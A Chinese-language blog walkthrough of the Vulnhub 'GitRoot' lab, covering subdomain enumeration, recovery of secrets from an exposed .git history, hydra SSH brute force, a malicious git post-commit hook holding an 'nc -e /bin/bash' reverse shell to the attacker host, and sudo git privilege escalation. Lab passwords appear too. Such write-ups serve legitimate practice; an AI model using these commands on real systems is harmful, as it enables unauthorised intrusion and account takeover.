渗透测试之GitToRoot

从Git泄露到Get-root[Vulnhub-GItroot]


非常有意思的一个靶场,中间爆破时间太长还做了另外一个靶场,等明天再发出来

IP获取及信息收集

image_1evh1vus7r8uauf1kb418ri1po49.png-9.6kB

靶机直接给了ip地址,仍旧是信息收集老三样,先扫端口

nmap -T4 -A -sS -p 1-65535 -v 192.168.1.100

image_1evh52rcor6ae0bd5717sq18m13.png-80.7kB

渗透

wp域名

先看一下80端口

image_1evh2nfro1shb8amo011lg7gepm.png-31.5kB

直接访问发现告诉我们wp.gitroot.vuln域名下存在wordpress建站系统,我们直接在hosts目录下绑定域名,由于wp.gitroot.vuln是二级域名,我们在绑定wp子域名的同时,绑定主域名,这样在测试时,如果存在其他子域名我们也可以进行子域名爆破从而收集数据

在我们的windows和linux目录下都绑定一下

image_1evh9ncll4ej11mtpesm0gkn61g.png-37.7kB

绑定之后访问域名,成功进入wordpress站点

image_1evh9vl8p1jf01tah3evcqg1s1g1t.png-36kB

发现用户名,访问wp-login.php进行弱口令爆破

image_1evha611ceuf17ca1h1d2ornci2a.png-49.1kB

没反应,wp-scan搞一下

image_1evhacbs9got27cruv3i6p6q2n.png-94.1kB

repo子域

也没啥东西,除了版本老一点,wp这个站点就先放这里,回到最开始的点,既然wp这个子域名没有什么有效信息,我们直接爆破一下子域名,这里能用的有很多wfuzz和gobuster都可以

./gobuster vhost -u gitroot.vuln -w /root/OneForAll/data/subnames.txt

image_1evhdkjh81t1cu8g1a0c1p731o1i34.png-68.1kB

原本用的是DNS方法,结果查不出来,在网上看需要用vhost方法

查到了第二个子域名,hosts文件绑定一下,访问一下看看

image_1evhgeskuhu1sv7fid5hg1ee341.png-801.4kB

告诉我们这是存储代码的地方,直接扫一下目录,查看是否存在备份文件

image_1evhgk08qj0crfq1u659qkq7m4e.png-92.5kB

image_1evhp94q11t6h1kfq7pk1mgs1boa58.png-53.9kB

先看看web页面,manual页面存放的是apache文档文件,剩下的页面也没有太过有效的信息

image_1evhp81js1qlvnqmfnv2s1njv4r.png-110.2kB

同时看到存在git源码泄露,我们先用githack下载下来源码看看

image_1evhpsuhuu0o14qcugvoi6vtc65.png-269.2kB

几个文件核心代码相似,看一下

    $gitmem = new Memcached();
    $gitmem->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
    $gitmem->setSaslAuthData("USERNAME", "PASSWORD");
    $gitmem->addServer("127.0.0.1", 11211);
    $response = $gitmem->get($_GET["store"]);

看了一下大概是远程管理git仓库的代码,看一下其他的两个txt文件

image_1evhr0phng138colr319u71nvp6i.png-21kB

一个说这个git仓库有错误,一个给了我们疑似密码的字符串,同时我们可以根据之前在wordpress站点获取到的信息,可以发现该网站应该有三个用户

pablo
beth
jen

首先猜测一下这个字符串是否为密码,在wp子域名下进行尝试,无法登陆,22端口再测试一下,还是无法登陆,那么剩下的就是txt文档给我们的提示了,我们需要通过git来找寻信息,这里单纯的使用githack已经不能完成了,我们使用gittools来分析

bash gitdumper.sh http://repo.gitroot.vuln/.git/ ssss

image_1evj3em3j125hv761d3f10e1gt79.png-111.5kB

看到下载到很多历史文件夹,我们恢复一下数据

bash extractor.sh ../Dumper/ssss/ fu

image_1evj3ge3s1k1b1631vr0qsqupnm.png-123.8kB

生成了六个文件夹,tree一下看看目录结构

image_1evj3mrhr140q8g01gt4e201oai1g.png-77.8kB

存在commit-meta.txt,我们挨个查看文件收集信息,在最开始的set.php中发现密码

    $gitmem->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
    $gitmem->setSaslAuthData("pablo@gitroot", "ihjedpvqfe");
    $gitmem->addServer("127.0.0.1", 11211);
    $response = $gitmem->set($key, $value);

我们使用该密码尝试登陆22端口和web端口,登陆失败,尝试登陆一下git服务器

image_1evj4l0at1bfd1rfi1o221s1v1u9h1t.png-38.5kB

也无法登陆,综合一下目前的信息

user:pablo/beth/jen
pass:ihjedpvqfe

直接上九头蛇爆破一下吧

hydra -L user.txt -P rockyou.txt -vV -o ssh.log -e ns 192.168.1.102 ssh

出门剪个头发,回来看结果

image_1evj5g9bh1e9gt11i1019d1fj42a.png-199.7kB

没有结果,吃个饭再等等吧,吃了饭溜了弯,等了六七个小时了,还是没有,继续等,然后去看看国外老哥是啥思路

image_1evjv21l3108b1n6j1vkncgfa7b2n.png-21.4kB

发现国外老哥也是爆破思路,我直接给密码先拿过来用,然后rockyou继续跑着,先进行下面的测试

image_1evjv5o5k1mld1a1r1rfgkem1rr934.png-68kB

利用爆破得到的用户密码成功登陆服务器,在服务器上收集信息

服务器

image_1evjv78nk18lbbiaj4dvqidib3h.png-45.6kB

发现了第一个flag,在public目录下发现message.txt

Hey pablo

Make sure to check-out our brand new git repo!

告诉我们还要搜索git,直接find一下服务器中的git目录

find / -name '.git' 2>/dev/null

image_1evjvth1qir02tgeis119d15r44b.png-22.4kB

发现存在git目录,在靶机/opt/auth目录下开一个HTTPServer,依然使用gittools进行下载

靶机:python -m SimpleHTTPServer 9999
kali:bash gitdumper.sh http://192.168.1.102:9999/.git/ test-git

image_1evk18ai98d51hccuenmlrfuu4o.png-78kB

恢复一下数据

bash extractor.sh ../Dumper/test-git/ tttgit

进入指定目录,看一下修改文件记录

image_1evk1o8d61sjs12ai1tivgo71um955.png-200.1kB

好家伙 200多个文件夹,这里介绍两个方法进行查找,首先是最直接的文件大小法,直接列出所有文件夹下的大小,把相同的过滤掉,剩下不同的就是修改过的文件,也是最可能是给我们提示的文件

ls -tl **/ #显示当前目录下所有文件的大小

大致看一下,剔除一下最多出现的文件大小

ls -tl **/|grep -v "393"|grep -v "212"|grep -v "  94  "|grep -v " 394  "|grep -v "  95  "

image_1evk6qnku11hgi7vf3tfub1uut5i.png-70.7kB

发现只有166文件夹下的commit-meta.txt没有被过滤掉,我们读取一下该目录下文件

image_1evk6u61gnqq1h28psp13tt1l146f.png-57.6kB

发现密码。我们也可以根据git的特性来查找,既然是在git中修改,那么修改过后,作为记录日志的commit-meta.txt文件就会记下变化,而git的修改关键词是“added”,我们直接在当面目录下查找存在added的文件即可找到修改的文件位置

image_1evk73ndd85ua741snp1jla1kih6s.png-24.6kB

获取到密码后,我们尝试切换一下用户

image_1evk77tj8ln916khrl41krbvmo79.png-19.9kB

成功切换用户,查看一下用户目录,依然存在提示

beth@GitRoot:~/public$ cat addToMyRepo.txt 
Hello Beth

If you want to commit to my repository you can add a zip file to ~jen/public/repos/ and ill unzip it and add it to my repository

Thanks!

大概意思就是说我们可以在他指定的目录下放入我们要提交给他的代码压缩包,然后jen用户会自动解压,到这里我们需要整合一下从渗透开始获取到的信息,以便于更好的提升权限

username password 来源
pablo mastergitar 通过Hydra爆破22端口
beth r3vpdmspqdb 通过/opt/auth目录下的git获得
jen ? 大概是通过构造压缩文件获取
git@gitroot ihjedpvqfe 通过repo目录下的git获取到

下一步就是通过构造代码来获取jen用户的权限了,既然是自动将我们的git代码解压后进行git commit,那么触发的点就在git commit的过程中,这里需要了解一下Git Hooks

Git Hooks简介

这篇文章详细的介绍了Git Hooks的作用,简单来说就是在git commit后触发的脚本,那么我们可以添加一个git文件夹,并添加上Git Hooks,在其中写入我们的反弹shell脚本,等待git commit后触发我们的脚本即可

image_1evk93t6n1nt21g8i7q21brp1io57m.png-289.4kB

根据文章中的顺序,由于前三个文件都是比较关键的,所以我们可以在post-commit文件中添加我们的反弹shell脚本

nc -e /bin/bash 192.168.1.100 7898 #中午重启了一下靶机,靶机ip变为102了

image_1evk9l7j51r4cln41rob5ofh1m8j.png-87.8kB

将压缩包复制到指定文件夹后监听端口一直没反应,后来看hooks的文章才知道,需要写成.sh文件的形式,我们修改一下post-commit的内容,同时需要修改我们的post-commit权限和压缩包权限都为777,这样jen用户才能正常解压并运行脚本

#!/bin/bash
/usr/bin/nc -e /bin/bash 192.168.1.100 7898

重新打包,复制过去,nc监听指定端口,稍等一会即可监听到

image_1evkaa2f74co16km1etpqg57ub90.png-116.3kB

利用python升级成交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

image_1evkacfsm1odjp0g177ongm1oog9d.png-326.1kB

查看用户家目录发现一个仅当前用户可读的文件,读取一下,发现可疑字符串

image_1evkaekuo1v9dvn71tn81s861fne9q.png-325kB

根据做到这里的经验,估摸着就是jen用户的密码了,我们在beth用户端切换一下用户试试

image_1evkah7eme40kpf1rhabqr1goda7.png-19.5kB

成功切换,到此三个用户的密码我们都成功获取到

pablo/mastergitar
beth/r3vpdmspqdb
jen/binzpbeocnexoe

提权

下一步就是提升权限,直接sudo一下,发现不能直接切换root,whoami等命令也不能直接sudo,不过发现git命令可以sudo执行,好家伙直接git提权payload来一下

image_1evkb1h051ijt1aib1pfelcansak.png-22kB

linux提权方法

image_1evkb41uq1vb413emgo17am7s7b1.png-76.5kB

成功提权,大吉大利

总结

这个靶场的针对性很强,主要就是考察git的漏洞知识点,从git泄露中获取代码和历史代码,之后的sudo权限设置问题利用git提权,值得一练,搞这个靶场用了将近一天时间,因为爆破的缘故,中间就端着茶杯看hydra不停的爆,到文章落笔之时,我的kali仍然在爆破中。毕竟一个完整的渗透,不仅仅是技术还有时间和耐心。

勤 奋 的 Hydra

image_1evkbrc3715fsq1a1bdtset1k9gbe.png-153.9kB


发表评论

邮箱地址不会被公开。 必填项已用*标注